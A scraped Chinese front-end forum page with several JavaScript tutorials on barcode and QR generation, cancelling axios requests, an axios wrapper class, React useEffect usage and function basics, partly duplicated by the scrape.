二维码或条形码在日常生活中现在应用已经非常普遍了，文章分享生成条形码和二维码的JavaScript库。条形码条形码是日常生活中比较常见的，主要用于商品。通俗的理解就是一串字符串的集合（含字母、数字及其它ASCII字符的集合应用），用来常用来标识一个货品的唯一性...
继续阅读 »


二维码或条形码在日常生活中现在应用已经非常普遍了，文章分享生成条形码和二维码的JavaScript库。

条形码

条形码是日常生活中比较常见的，主要用于商品。通俗的理解就是一串字符串的集合（含字母、数字及其它ASCII字符的集合应用），用来常用来标识一个货品的唯一性，当然还有更多更深入与广泛的应用，像超市的商品、衣服、微信、支付宝、小程序等到处都有条形码的广泛应用；

安装依赖：

npm install jsbarcode --save-dev

在 HTML 页面上加入以下代码：

<svg id="barcode"
  jsbarcode-value="123456789012"
  jsbarcode-format="code128"></svg>

接下来看下 JavaScript 代码，如下：

import jsbarcode from 'jsbarcode';
const createBarcode = (value, elemTarget) => {
    jsbarcode(elemTarget, "value");
};
createBarcode("#barcode", "devpoint");

运行成功的效果如下：


二维码

相比条形码，二维码的使用场景也越来也多，支付码、场所码、小程序等等。二维码的长相经常是在一个正方形的框中填充各种点点或无规则小图形块而构成的图形，这种称之为二维码，他与一维码最大的区别就是存储容量大很多，而且保密性好。二维码本质上表现给大家的就是一个静态图片，其实是包含特字加密算法的图形，里面存储的是一串字符串（即字母、数字、ASCII码等），这说明二维码不仅存储量大，而且存储的内容很广泛，数字、字母、汉字等都可以被存储。

安装依赖：

npm install qrcode --save-dev

HTML：

<canvas id="qrcode"></canvas>

JavaScript：

import QRCode from "qrcode";
const createQrcode = (value, elemTarget) => {
    QRCode.toCanvas(document.querySelector(elemTarget), value);
};
createQrcode("#qrcode", "devpoint");

效果如下：


来源：juejin.cn/post/7116156434605146126

收起阅读 »
上帝之眼 发表于 : 2022-07-04 09:11 评论 (0) 分享

前端取消请求与取消重复请求

前端 Javascript axios
一、前言 大家好，我是大斌，一名野生的前端工程师，今天，我想跟大家分享几种前端取消请求的几种方式。相信大家在平时的开发中，肯定或多或少的会遇到需要取消重复请求的场景，比如最常见的，我们在使用tab栏时，我们都会使用一个盒子去存放内容，然后在切换tab栏时，会清...
继续阅读 »





一、前言


大家好，我是大斌，一名野生的前端工程师，今天，我想跟大家分享几种前端取消请求的几种方式。相信大家在平时的开发中，肯定或多或少的会遇到需要取消重复请求的场景，比如最常见的，我们在使用tab栏时，我们都会使用一个盒子去存放内容，然后在切换tab栏时，会清除掉原来的内容，然后替换上新的内容，这个时候，如果我们的数据是通过服务从后端获取的，就会存在一个问题，由于获取数据是需要一定的时间的，就会存在当我们切换tab栏到新的tab页时，原来的tab页的服务还在响应中，这时新的tab页的数据服务已经响应完成了，且页面已经显示了新的tab页的内容，但是，这个时候旧的tab页的数据也成功了并返回了数据，并将新的tab页的内容覆盖了。。。所以为了避免这种情况的发生，我们就需要在切换tab栏发送新的请求之前，将原来的的请求取消掉，至于如何取消请求，这便是今天我要讲的内容。


二、项目准备


在正式学习之前，我们先搭建一个项目，并还原刚刚所说的场景，为了节省时间，我们使用脚手架搭建了一个前端vue+TS+vite项目，简单的做了几个Demo，页面如下，上面是我们现实内容的区域，点击tab1按钮时获取并展示tab1的内容，点击tab2按钮时获取并展示tab2的内容，以此类推，内容比较简单，这里就不放具体代码了。


image.png


然后我们需要搭建一个本地服务器，这里我们新建一个app.ts文件，使用express以及cors解决跨域问题去搭建一个简单的服务器，具体代码如下：

 
// app.ts
const express = require('express')
const app = express()

const cors = require('cors')
app.use(cors())

app.get('/tab1', (req, res) => {
  res.send('这是tab1的内容...')
})

app.get('/tab2', (req, res) => {
  setTimeout(() => {
    res.send('这是tab2的内容...')
  }, 3000)
})

app.get('/tab3', (req, res) => {
  res.send('这是tab3的内容...')
})

app.listen('3000', () => {
  console.log('server running at 3000 port...')
})



上面代码，我们新建了一个服务器并让他运行在本地的3000端口，同时在获取tab2的内容时，我们设置了3秒的延迟，以便实现我们想要的场景，然后我们使用node app.ts启动服务器，当终端打印了server running at 3000 port...就说明服务器启动成功了。


然后我们使用axios去发送请求，安装axios，然后我们在项目中src下面新建utils文件夹，然后新建request.ts文件，具体代码如下：


作者：还是那个大斌啊
链接：https://juejin.cn/post/7108359238598000671
来源：稀土掘金
著作权归作者所有。商业转载请联系作者获得授权，非商业转载请注明出处。


import axios, { AxiosRequestConfig } from 'axios'

// 新建一个axios实例
const ins = axios.create({
  baseURL: 'http://localhost:3000',
  timeout: 5000,
})

export function request(Args: AxiosRequestConfig) {
  return ins.request(Args)
}



这里我们新建了一个axios实例，并配置了baseURL和超时时间，并做了一个简单的封装然后导出，需要注意的是，axios请求方法的别名有很多种，如下图这里就不做过多介绍了，大家想了解的可以去看官网,我们这里使用request方法。


image.png


最后，我们在页面上引入并绑定请求：

// bar.vue
<script setup lang="ts">
import { ref } from 'vue'
import { request } from '@/utils/request'

const context = ref('tab1的内容...')

const getTab1Context = async () => {
  const { data } = await request({
    url: '/tab1',
  })

  context.value = data
}
const getTab2Context = async () => {
  const { data } = await request({
    url: '/tab2',
  })

  context.value = data
}
const getTab3Context = async () => {
  const { data } = await request({
    url: '/tab3',
  })

  context.value = data
}
</script>



为了方便理解，将template部分代码也附上：

// bar.vue
<template>
  <div class="container">
    <div class="context">{{ context }}</div>
    <div class="btns">
      <el-button type="primary" @click="getTab1Context">tab1</el-button>
      <el-button type="primary" @click="getTab2Context">tab2</el-button>
      <el-button type="primary" @click="getTab3Context">tab3</el-button>
    </div>
  </div>
</template>



到这里，我们的项目准备工作就好了，看下效果图


取消请求1.gif


然后看下我们前面提到的问题：


取消请求2.gif
注意看，在我点击了tab2之后立马点击tab3，盒子中会先显示tab3的内容，然后又被tab2的内容覆盖了。




三、原生方法


项目准备好之后，我们就可以进入正题了，其实，关于取消请求的方法，axios官方就已经有了，所以我们先来了解下使用axios原生的方法如何取消请求：
先看下官方的代码：


可以使用 CancelToken.source 工厂方法创建 cancel token 像这样：

const CancelToken = axios.CancelToken;
const source = CancelToken.source();

axios.get('/user/12345', {
    cancelToken: source.token
}).catch(function (thrown) {
    if (axios.isCancel(thrown)) {
        console.log('Request canceled', thrown.message);
    } else { /* 处理错误 */ }
});

axios.post('/user/12345', {
    name: 'new name'
}, {
    cancelToken: source.token
});

// 取消请求 (message 参数是可选的)
source.cancel('Operation canceled by the user.');



同时还可以通过传递一个executor函数到CancelToken的构造函数来创建 cancel token ：

const CancelToken = axios.CancelToken;
let cancel;

axios.get('/user/12345', {
    cancelToken: new CancelToken(function executor(c) {
        // executor 函数接收一个 cancel 函数作为参数
        cancel = c;
    })
});

// 取消请求
cancel();



这是官方提供的两种方法，我们将他们用到我们的项目上，因为都差不多，所以我们这里就只演示一种，选择通过传递函数的方式来取消请求；


进入项目utils文件夹下的request.ts文件，修改代码如下：

 
// request.ts

import axios, { AxiosRequestConfig } from 'axios'
const CancelToken = axios.CancelToken

const ins = axios.create({
  baseURL: 'http://localhost:3000',
  timeout: 5000,
})

// 新建一个取消请求函数并导出
export let cancelFn = (cancel: string) => {
  console.log(cancel)
}
export function request(Args: AxiosRequestConfig) {
  // 在请求配置中增加取消请求的Token
  Args.cancelToken = new CancelToken(function (cancel) {
    cancelFn = cancel
  })
  return ins.request(Args)
}



然后我们就可以在想要取消请求的地方调用cancelFn函数就可以了，我们给tab1和tab3按钮都加上取消请求功能：

// bar.vue

<script setup lang="ts">
import { ref } from 'vue'
import { request, cancelFn } from '@/utils/request'

const context = ref('tab1的内容...')

const getTab1Context = async () => {
  cancelFn('取消了tab2的请求')
  const { data } = await request({
    url: '/tab1',
  })

  context.value = data
}
const getTab2Context = async () => {
  const { data } = await request({
    url: '/tab2',
  })

  context.value = data
}
const getTab3Context = async () => {
  cancelFn('取消了tab2的请求')
  const { data } = await request({
    url: '/tab3',
  })

  context.value = data
}
</script>



这样取消请求的功能就完成了，看下效果：


取消请求3.gif


四、promise


除了官网的方式之外，其实我们也可以借助Promise对象，我们都知道，Promise对象的状态一旦确定就不能再改变的，基于这个原理，我们可以使用Promise封装下我们的请求，然后通过手动改变Promise的状态去阻止请求的响应，看下面代码：

 
// request.ts

import axios, { AxiosRequestConfig, AxiosResponse } from 'axios'

const ins = axios.create({
  baseURL: 'http://localhost:3000',
  timeout: 5000,
})

// 新建一个取消请求函数并导出
export let cancelFn = (cancel: string) => {
  console.log(cancel)
}

export function request(Args: AxiosRequestConfig): Promise<AxiosResponse> {
  return new Promise((resolve, reject) => {
    ins.request(Args).then((res: AxiosResponse) => {
      resolve(res)
    })
    cancelFn = (msg) => {
      reject(msg)
    }
  })
}



效果也是一样的


取消请求4.gif


需要注意的是，虽然效果是一样的，但是使用Promise的方式，我们只是手动修改了Promise的状态为reject，但是请求还是一样发送并响应了，没有取消，这个是和使用Axios原生方法的不同之处。


五、借助Promise.race


讲完了取消请求，其实还有一种场景也很常见，那就是取消重复请求，如果是要取消重复请求，我们又该怎么实现呢？其实我们可以借助Promise.race，Promise.race的作用就是将多个Promise对象包装成一个，即它接受一个数组，每一个数组成员都是一个Promise对象，只要这些成员中有一个状态改变，Promise.race的状态就随之改变，基于这个原理，我们可以实现取消重复请求请求的目的。


基本思路就是，我们给每一个请求身边都放一个Promise对象，这个对象就是一颗炸弹，将他们一起放到Promise.race里面，当我们需要取消请求的时候就可以点燃这颗炸药。


还是上面的例子，我们针对按钮tab2做一个取消重复请求的功能，我们先声明一个类，在里面做取消重复请求的功能，在utils下新建cancelClass.ts文件：

 
// cancelClass.ts



import { AxiosResponse } from 'axios'

export class CancelablePromise {

  pendingPromise: any

  reject: any

  constructor() {

    this.pendingPromise = null

    this.reject = null

  }



  handleRequest(requestFn: any): Promise<AxiosResponse> {

    if (this.pendingPromise) {

      this.cancel('取消了上一个请求。。。')

    }

    const promise = new Promise((resolve, reject) => (this.reject = reject))

    this.pendingPromise = Promise.race([requestFn(), promise])

    return this.pendingPromise

  }



  cancel(reason: string) {

    this.reject(reason)

    this.pendingPromise = null

  }

}

上面代码中，我们声明了一个类，然后在类中声明了两个属性pendingPromise和reject，一个request请求方法用来封装请求并判断上一个请求是否还在响应中，如果还未响应则手动取消上一次的请求，同时声明了一个promise对象，并将他的reject方法保存在类的reject属性中，然后用promise.race包装了请求函数和刚刚声明的promise对象。最后声明了一个cancel方法，在cancel方法中触发reject函数，来触发promise对象的状态改变，这样就无法获取到reuestFn的响应数据了。从而达到了取消请求的目的；


因为requestFn必须是一个函数，所以我们需要改装下Axios的request函数,让他返回一个函数；

 

因为requestFn必须是一个函数，所以我们需要改装下Axios的request函数,让他返回一个函数；


// request.ts



export function request(Args: AxiosRequestConfig) {

  return () => ins.request(Args)

}

最后在页面中引入并使用：


// bar.vue



<script setup lang="ts">

import { ref } from 'vue'

import { request, cancelFn } from '@/utils/request'

import { CancelablePromise } from '@/utils/cancelClass'



...

const cancelablePromise = new CancelablePromise()

...

const getTab2Context = async () => {

  const { data } = await cancelablePromise.handleRequest(

    request({

      url: '/tab2',

    })

  )



  context.value = data

}

</script>

最后看下效果


取消请求5.gif


六、总结


到这里，我们前端取消请求和取消重复请求的方法就学习完了，需要注意的是，即使是使用官方的方法，也仅仅是取消服务器还没接收到的请求，如果请求已经发送到了服务端是取消不了的，只能让后端同时去处理了，使用promise的方法，仅仅只是通过改变promise的状态来阻止响应结果的接收，服务还是照常发送的。今天的分享就到这里了，如果对你有帮助的，请给我一个赞吧！

 










 


收起阅读 »
环Sir 发表于 : 2022-06-30 11:46 评论 (0) 分享

关于 Axios 的再再再封装，总是会有所不一样

架构 axios Javascript
特性 class 封装 可以多次实例化默认全局可以共用一个实例对象可以实例化多个对象，实例化时可以配置该实例特有的 headers根据各个接口的要求不同，也可以针对该接口进行配置设置请求拦截和响应拦截，这个都是标配了拦截处理系统响应状态码对应的提示语 拦截器 ...
继续阅读 »


特性


  • class 封装 可以多次实例化
  • 默认全局可以共用一个实例对象
  • 可以实例化多个对象，实例化时可以配置该实例特有的 headers
  • 根据各个接口的要求不同，也可以针对该接口进行配置
  • 设置请求拦截和响应拦截，这个都是标配了
  • 拦截处理系统响应状态码对应的提示语

拦截器


首先为防止多次执行响应拦截，这里我们将拦截器设置在类外部，如下：

import axios from "axios";

// 添加请求拦截器
axios.interceptors.request.use((config) => {
    // 在发送请求之前做些什么 添加 token 等鉴权功能
    return config;
}, function (error) {
    // 对请求错误做些什么
    return Promise.reject(error);
});

// 添加响应拦截器
axios.interceptors.response.use((res) => {
    const {status} = res;
    // 对错误状态提示进行处理
    let message = '';
    if (status < 200 || status >= 300) {
        // 处理http错误，抛到业务代码
        message = showResState(status)
        if (typeof res.data === 'string') {
            res.data = {code: status, message: message}
        } else {
            res.data.code = status
            res.data.message = message
        }
    }
    return res.data;
}, function (error) {
    // 对响应错误做点什么
    return Promise.reject(error);
});

function showResState(state) {
    let message = '';
    // 这里只做部分常见的示例，具体根据需要进行配置
    switch (state) {
        case 400:
            message = '请求错误(400)'
            break
        case 401:
            message = '未授权，请重新登录(401)'
            break
        case 403:
            message = '拒绝访问(403)'
            break
        case 404:
            message = '请求出错(404)'
            break
        case 500:
            message = '服务器错误(500)'
            break
        case 501:
            message = '服务未实现(501)'
            break
        case 502:
            message = '网络错误(502)'
            break
        case 503:
            message = '服务不可用(503)'
            break
        default:
            message = `连接出错(${state})!`
    }
    return `${message}，请检查网络或联系网站管理员！`
}



封装主体


这里为了方便起见，实例化对象处理的其实就是传入的配置文件，而封装的方法还是按照 axios 原生的方法处理的。为了方便做校验在接口上都统一增加了客户端发起请求的时间，以方便服务端做校验。配置参数可参照文档 axios 配置文档

// 构造函数
constructor(config) {
    // 公共的 header
    let defaultHeaders = {
        'Content-Type': 'application/json;charset=UTF-8',
        'Accept': 'application/json', // 通过头指定，获取的数据类型是JSON 'application/json, text/plain, */*',
        'Authorization': null
    }

    let defaultConfig = {
        headers: defaultHeaders
    }

    // 合并配置文件
    if (config) {
        for (let i in config) {
            if (i === 'headers' && config.headers) {
                    for (let i in config.headers) {
                        defaultHeaders[i] = config.headers[i];
                    }
                    defaultConfig.headers = defaultHeaders;
            } else {
                defaultConfig[i] = config[i];
            }
        }
    }
    // 全局使用
    this.init = axios;
    this.config = defaultConfig;
}



get 方法的配置

// Get 请求
get(url, params = {}, headers = {}) {

    params.time = Date.now();

    // 合并 headers
    if (headers) {
        for (let i in headers) {
            this.config.headers[i] = headers[i];
        }
    }
    return new Promise((resolve, reject) => {
        // axios.get(url[, config])
        this.init.get(url, {
            ...this.config,
            ...{params: params}
        }).then(response => {
            resolve(response);
        })
        .catch(error => {
            reject(error)
        }).finally(() => {
        })
    });
}



post 请求

// POST 请求
post(url, params = {}, headers = {}) {

    url = url + '?time=' + Date.now();

    if (headers) {
        for (let i in headers) {
            this.config.headers[i] = headers[i];
        }
    }

    return new Promise((resolve, reject) => {
        // axios.post(url[, data[, config]])
        this.init.post(url, params, this.config).then(response => {
            resolve(response);
        })
            .catch(error => {
                reject(error)
            }).finally(() => {
        })
    });
}



PUT 请求

// PUT 请求
put(url, params = {}, headers = {}) {

    url = url + '?time=' + Date.now();

    if (headers) {
        for (let i in headers) {
            this.config.headers[i] = headers[i];
        }
    }

    return new Promise((resolve, reject) => {
        // axios.put(url[, data[, config]])
        this.init.put(url, params, this.config).then(response => {
            resolve(response);
        })
            .catch(error => {
                reject(error)
            }).finally(() => {
        })
    });
}



Delete 请求

// Delete 请求
delete(url, headers = {}) {
    if (headers) {
        for (let i in headers) {
            this.config.headers[i] = headers[i];
        }
    }
    return new Promise((resolve, reject) => {
        // axios.delete(url[, config])
        this.init.delete(url, {
            ...this.config,
        }).then(response => {
            resolve(response);
        })
            .catch(error => {
                reject(error)
            }).finally(() => {
        })
    });
}



>>使用


完整的代码的代码在文末会贴出来，这里简单说下如何使用

// @/api/index.js
import Http,{Axios} from '@/api/http'; // Axios 数据请求方法

// ① 可以使用文件中实例化的公共对象 Axios


// ②也可以单独实例化使用
const XHttp = new Http({
    headers: {
        'x-token': 'xxx'
    }
});


export const getArticles = (params={}) => {
    return XHttp.get('https://api.ycsnews.com/api/v1/blog/getArticles', params);
}

export const getArticle = (params={}) => {
    return Axios.get('https://api.ycsnews.com/api/v1/blog/getArticles', params);
}



在页面中使用

// @/views/home.vue
import { getArticles,getArticle } from '@/api/index.js'

// 两个方法名差一个字母 's'
getArticle({id:1234444}).then((res) => {
  console.log(res)
})
.catch(err => {
    console.log(err)
})

getArticles({id:1234444}).then((res) => {
  console.log(res)
})
.catch(err => {
    console.log(err)
})



完整代码

// @/api/http.js
/**
 * 说明：
 * 1.多实例化，可以根据不同的配置进行实例化，满足不同场景的需求
 * 2.多实例化情况下，可共用公共配置
 * 3.请求拦截，响应拦截 对http错误提示进行二次处理
 * 4.接口可单独配置 header 满足单一接口的特殊需求
 * body 直传字符串参数，需要设置 headers: {"Content-Type": "text/plain"}, 传参：System.licenseImport('"'+this.code+'"');
 * import Http,{Axios} from '../http'; // Http 类 和 Axios 数据请求方法 如无特殊需求 就使用实例化的 Axios 方法进行配置 有特殊需求再进行单独实例化
 *
 *
 */
import axios from "axios";

// 添加请求拦截器
axios.interceptors.request.use((config) => {
    // 在发送请求之前做些什么 添加 token 等鉴权功能
    return config;
}, function (error) {
    // 对请求错误做些什么
    return Promise.reject(error);
});

// 添加响应拦截器
axios.interceptors.response.use((res) => {
    const {status} = res;
    // 对错误状态提示进行处理
    let message = '';
    if (status < 200 || status >= 300) {
        // 处理http错误，抛到业务代码
        message = showResState(status)
        if (typeof res.data === 'string') {
            res.data = {code: status, message: message}
        } else {
            res.data.code = status
            res.data.message = message
        }
    }
    return res.data;
}, function (error) {
    // 对响应错误做点什么
    return Promise.reject(error);
});

function showResState(state) {
    let message = '';
    // 这里只做部分常见的示例，具体根据需要进行配置
    switch (state) {
        case 400:
            message = '请求错误(400)'
            break
        case 401:
            message = '未授权，请重新登录(401)'
            break
        case 403:
            message = '拒绝访问(403)'
            break
        case 404:
            message = '请求出错(404)'
            break
        case 500:
            message = '服务器错误(500)'
            break
        case 501:
            message = '服务未实现(501)'
            break
        case 502:
            message = '网络错误(502)'
            break
        case 503:
            message = '服务不可用(503)'
            break
        default:
            message = `连接出错(${state})!`
    }
    return `${message}，请检查网络或联系网站管理员！`
}

class Http {
    constructor(config) {
        // 公共的 header
        let defaultHeaders = {
            'Content-Type': 'application/json;charset=UTF-8',
            'Accept': 'application/json', // 通过头指定，获取的数据类型是JSON 'application/json, text/plain, */*',
            'Authorization': null
        }

        let defaultConfig = {
            headers: defaultHeaders
        }

        // 合并配置文件
        if (config) {
            for (let i in config) {
                if (i === 'headers' && config.headers) {
                        for (let i in config.headers) {
                            defaultHeaders[i] = config.headers[i];
                        }
                        defaultConfig.headers = defaultHeaders;
                } else {
                    defaultConfig[i] = config[i];
                }
            }
        }
        this.init = axios;
        this.config = defaultConfig;
    }

    // Get 请求
    get(url, params = {}, headers = {}) {
        // 合并 headers
        if (headers) {
            for (let i in headers) {
                this.config.headers[i] = headers[i];
            }
        }
        return new Promise((resolve, reject) => {
            // axios.get(url[, config])
            this.init.get(url, {
                ...this.config,
                ...{params: params}
            }).then(response => {
                resolve(response);
            })
            .catch(error => {
                reject(error)
            }).finally(() => {
            })
        });
    }

    // POST 请求
    post(url, params = {}, headers = {}) {
        if (headers) {
            for (let i in headers) {
                this.config.headers[i] = headers[i];
            }
        }

        return new Promise((resolve, reject) => {
            // axios.post(url[, data[, config]])
            this.init.post(url, params, this.config).then(response => {
                resolve(response);
            })
                .catch(error => {
                    reject(error)
                }).finally(() => {
            })
        });
    }

    // PUT 请求
    put(url, params = {}, headers = {}) {
        if (headers) {
            for (let i in headers) {
                this.config.headers[i] = headers[i];
            }
        }

        return new Promise((resolve, reject) => {
            // axios.put(url[, data[, config]])
            this.init.put(url, params, this.config).then(response => {
                resolve(response);
            })
                .catch(error => {
                    reject(error)
                }).finally(() => {
            })
        });
    }


    // Delete 请求
    delete(url, headers = {}) {
        if (headers) {
            for (let i in headers) {
                this.config.headers[i] = headers[i];
            }
        }
        return new Promise((resolve, reject) => {
            // axios.delete(url[, config])
            this.init.delete(url, {
                ...this.config,
            }).then(response => {
                resolve(response);
            })
                .catch(error => {
                    reject(error)
                }).finally(() => {
            })
        });
    }
}

export default Http;

// 无特殊需求的只需使用这个一个对象即可 公共 header 可在此配置, 如需多个实例 可按照此方式创建多个进行导出
export const Axios = new Http({
    baseURL:'https://docs.ycsnews.com',
    headers: {
        'x-http-token': 'xxx'
    }
});











收起阅读 »
环Sir 发表于 : 2022-06-29 16:29 评论 (0) 分享

不要滥用effect哦

IT大前端 react
你或你的同事在使用useEffect时有没有发生过以下场景：当你希望状态a变化后发起请求，于是你使用了useEffect：useEffect(() => { fetch(xxx); }, [a])这段代码运行符合预期，上线后也没问题。随着需求不断迭代...
继续阅读 »

你或你的同事在使用useEffect时有没有发生过以下场景：

当你希望状态a变化后发起请求，于是你使用了useEffect：

useEffect(() => {

  fetch(xxx);

}, [a])

这段代码运行符合预期，上线后也没问题。

随着需求不断迭代，其他地方也会修改状态a。但是在那个需求中，并不需要状态a改变后发起请求。

你不想动之前的代码，又得修复这个bug，于是你增加了判断条件：

useEffect(() => {

  if (xxxx) {

    fetch(xxx);

  }

}, [a])

某一天，需求又变化了！现在请求还需要b字段。

这很简单，你顺手就将b作为useEffect的依赖加了进去：

useEffect(() => {

  if (xxxx) {

    fetch(xxx);

  }

}, [a, b])

随着时间推移，你逐渐发现：

  • 是否发送请求与if条件相关
  • 是否发送请求还与a、b等依赖项相关
  • a、b等依赖项又与很多需求相关

根本分不清到底什么时候会发送请求，真是头大...

如果以上场景似曾相识，那么React新文档里已经明确提供了解决办法。

欢迎加入人类高质量前端框架群，带飞

一些理论知识

新文档中这一节名为Synchronizing with Effects，当前还处于草稿状态。

但是其中提到的一些概念，所有React开发者都应该清楚。

首先，effect这一节隶属于Escape Hatches（逃生舱）这一章。


从命名就能看出，开发者并不一定需要使用effect，这仅仅是特殊情况下的逃生舱。

React中有两个重要的概念：

  • Rendering code（渲染代码）
  • Event handlers（事件处理器）

Rendering code指开发者编写的组件渲染逻辑，最终会返回一段JSX。

比如，如下组件内部就是Rendering code：

function App() {

  const [name, update] = useState('KaSong');

  

  return <div>Hello {name}</div>;

}

Rendering code的特点是：他应该是不带副作用的纯函数。

如下Rendering code包含副作用（count变化），就是不推荐的写法：

let count = 0;



function App() {

  count++;

  const [name, update] = useState('KaSong');

  

  return <div>Hello {name}</div>;

}

处理副作用

Event handlers是组件内部包含的函数，用于执行用户操作，可以包含副作用。

下面这些操作都属于Event handlers：

  • 更新input输入框
  • 提交表单
  • 导航到其他页面

如下例子中组件内部的changeName方法就属于Event handlers：

function App() {

  const [name, update] = useState('KaSong');

  

  const changeName = () => {

    update('KaKaSong');

  }

  

  return <div onClick={changeName}>Hello {name}</div>;

}

但是，并不是所有副作用都能在Event handlers中解决。

比如，在一个聊天室中，发送消息是用户触发的，应该交给Event handlers处理。

除此之外，聊天室需要随时保持和服务端的长连接，保持长连接的行为属于副作用，但并不是用户行为触发的。

对于这种：在视图渲染后触发的副作用，就属于effect，应该交给useEffect处理。

回到开篇的例子：

当你希望状态a变化后发起请求，首先应该明确，你的需求是：

状态a变化，接下来需要发起请求

还是

某个用户行为需要发起请求，请求依赖状态a作为参数？

如果是后者，这是用户行为触发的副作用，那么相关逻辑应该放在Event handlers中。

假设之前的代码逻辑是：

  1. 点击按钮，触发状态a变化
  2. useEffect执行，发送请求

应该修改为：

  1. 点击按钮，在事件回调中获取状态a的值
  2. 在事件回调中发送请求

经过这样修改，状态a变化与发送请求之间不再有因果关系，后续对状态a的修改不会再有无意间触发请求的顾虑。

总结

当我们编写组件时，应该尽量将组件编写为纯函数。

对于组件中的副作用，首先应该明确：

是用户行为触发的还是视图渲染后主动触发的？

对于前者，将逻辑放在Event handlers中处理。

对于后者，使用useEffect处理。

这也是为什么useEffect所在章节在新文档中叫做Escape Hatches —— 大部分情况下，你不会用到useEffect，这只是其他情况都不适应时的逃生舱。

原文：https://segmentfault.com/a/1190000041942007

收起阅读 »
马师傅 发表于 : 2022-06-28 16:59 评论 (1) 分享

web前端-JavaScript中的函数（创建，参数，返回值，方法，函数作用域，立即执行函数）

Javascript
文章目录 简介函数的创建1 用构造函数创建2 用函数声明创建3 用函数表达式创建 函数的参数 参数特性1 调用函数时解析器不会检查实参的类型2 调用函数时解析器不会检查实参的数量3 当形参和实参过多，可以用一个对象封装 函数的返回值...
继续阅读 »


文章目录

  • 简介
  • 函数的创建

  • 函数的参数






  • 函数的返回值
  • 立即执行函数
  • 方法
  • 函数作用域
  • 补充：JavaScript中的作用域相关概念
    •  

    简介


    函数（Function）


    • 函数也是一个对象
    • 函数中可以封装一些功能(代码),在需要时可以执行这些功能(代码)。
    • 函数中可以保存一些代码，在需要的时候调用。

    函数的创建




    在JavaScript中有三种方法来创建函数


    1. 构造函数创建
    2. 函数声明创建
    3. 函数表达式创建

    其中第一种方法在实际使用中并不常用。创建函数之后需调用函数才可执行函数体内的代码。
    函数的调用：





    语法：函数名();



    1 用构造函数创建



    语法：var 函数名 = new Function（“语句;”）





    使用new关键字创建一个函数，将要封装的功能（代码）以字符串的形式传递给封装函数，在调用函数时，封装的功能（代码）会按照顺序执行。


    2 用函数声明创建



    语法：function 函数名([形参1,形参2....]){语句...}



    用函数声明显而易见的要简便许多，小括号中的形参视情况而写，语句写在中括号内。与构造函数不同的是不需要以字符串的形式写入。




    3 用函数表达式创建



    语法：var 变量(函数名)=function([形参1,形参2....]){语句...};



    函数表达式和函数声明的方式创建函数的方法相似，不同的是用函数表达式创建函数是将一个匿名函数赋值给一个变量，同时在语句结束后需加分号；结尾。













    web前端-JavaScript中的函数（创建，参数，返回值，方法，函数作用域，立即执行函数）







    苏凉.py

    已于 2022-06-16 00:40:01 修改

    596



    收藏

    88


















    🐚作者简介：苏凉（专注于网络爬虫，数据分析，正在学习前端的路上）
    🐳博客主页：苏凉.py的博客
    🌐系列专栏：web前端基础教程
    👑名言警句：海阔凭鱼跃，天高任鸟飞。
    📰要是觉得博主文章写的不错的话，还望大家三连支持一下呀！！！
    👉关注✨点赞👍收藏📂






    简介


    函数（Function）


    • 函数也是一个对象
    • 函数中可以封装一些功能(代码),在需要时可以执行这些功能(代码)。
    • 函数中可以保存一些代码，在需要的时候调用。

    函数的创建


    在JavaScript中有三种方法来创建函数


    1. 构造函数创建
    2. 函数声明创建
    3. 函数表达式创建

    其中第一种方法在实际使用中并不常用。创建函数之后需调用函数才可执行函数体内的代码。
    函数的调用：



    语法：函数名();



    1 用构造函数创建



    语法：var 函数名 = new Function（“语句;”）



    使用new关键字创建一个函数，将要封装的功能（代码）以字符串的形式传递给封装函数，在调用函数时，封装的功能（代码）会按照顺序执行。


    在这里插入图片描述


    2 用函数声明创建



    语法：function 函数名([形参1,形参2....]){语句...}



    用函数声明显而易见的要简便许多，小括号中的形参视情况而写，语句写在中括号内。与构造函数不同的是不需要以字符串的形式写入。


    在这里插入图片描述


    3 用函数表达式创建



    语法：var 变量(函数名)=function([形参1,形参2....]){语句...};



    函数表达式和函数声明的方式创建函数的方法相似，不同的是用函数表达式创建函数是将一个匿名函数赋值给一个变量，同时在语句结束后需加分号；结尾。


    在这里插入图片描述


    函数的参数


    • 可以在函数的()中来指定一个或多个形参（形式参数)。
    • 多个形参之间使用,隔开，声明形参就相当于在函数内部声明了对应的变量但是并不赋值。
    • 在调用函数时,可以在()中指定实参(实际参数)，实参将会赋值给函数中对应的形参。



    参数特性


    1 调用函数时解析器不会检查实参的类型


    函数的实参可以时任意数据类型，在调用函数时传递的实参解析器并不会检查实参的类型，因此需要注意，是否有可能接收到非法的参数，如果有可能则需要对参数进行类型的检查。




    2 调用函数时解析器不会检查实参的数量


    在调用函数传入实参时，解析器不会检查实参的数量，当实参数大于形参数时，多余实参不会被赋值




    当实参数小于形参数时，没有被赋值的形参为undefined。


    3 当形参和实参过多，可以用一个对象封装


    当形参和实参数量过多时，我们很容易将其顺序搞乱或者传递参数时出错，此时我们可以将数据封装在一个对象中，在进行实参传递时，传入该对象即可。




    函数的返回值


    可以使用return来设置函数的返回值



    语法:return 值


     


  • return后的值将会作为函数的执行结果返回。
  • 可以定义一个变量,来接收该结果。
  • 在return后的语句都不会执行。


    • 若return后不跟任何值或者不写return，函数的返回值都是undefined。


    另外，在函数体中return返回的是什么，变量接受的就是什么。


    立即执行函数


    • 函数定义完，立即被调用，这种函数叫做立即执行函数
    • 立即执行函数往往只会执行一次
    • 通常为匿名函数的调用。


    语法：(function(形参...){语句...})(实参...);





    方法


    对象的属性值可以时任意的数据类型，当属性值为一个函数时，在对象中调用该函数，就叫做调用该对象的方法。




    函数作用域




  • 调用函数时创建函数作用域，函数执行完毕以后，函数作用域销毁
  • 每调用一次函数就会创建一个新的函数作用域，他们之间是互相独立的
    在函数作用域中可以访问到全局作用域

    • 的变量，在全局作用域中无法访问到函数作用域的变量


    当在函数作用域操作一个变量时，它会先在自身作用域中寻找，如果有就直接使用，如果没有则向上一级作用域中寻找，直到找到全局作用域，如果全局作用域中依然没有找到，则会报错ReferenceError




    补充：JavaScript中的作用域相关概念







    在全局作用域中有一个全局对象window它代表的是一个浏览器的窗口，它由浏览器创建我们可以直接使用

  • 作用域指一个变量的作用范围
  • 在JavaScript中有两种作用域1.全局作用域 2.函数作用域
  • 直接编写在script标签中的JS代码,都在全局作用域
  • 全局作用域在页面打开时创建，在页面关闭时销毁

    • 简而言之我们创建的全局变量都作为一个属性保存在window这个对象中。


    而在函数中创建局部变量时，必须使用var关键字创建，否则为全局变量。



    收起阅读 »
    环Sir 发表于 : 2022-06-28 11:40 评论 (0) 分享

    JavaScript映射与集合（Map、Set）数据类型基础知识介绍与使用

    Javascript
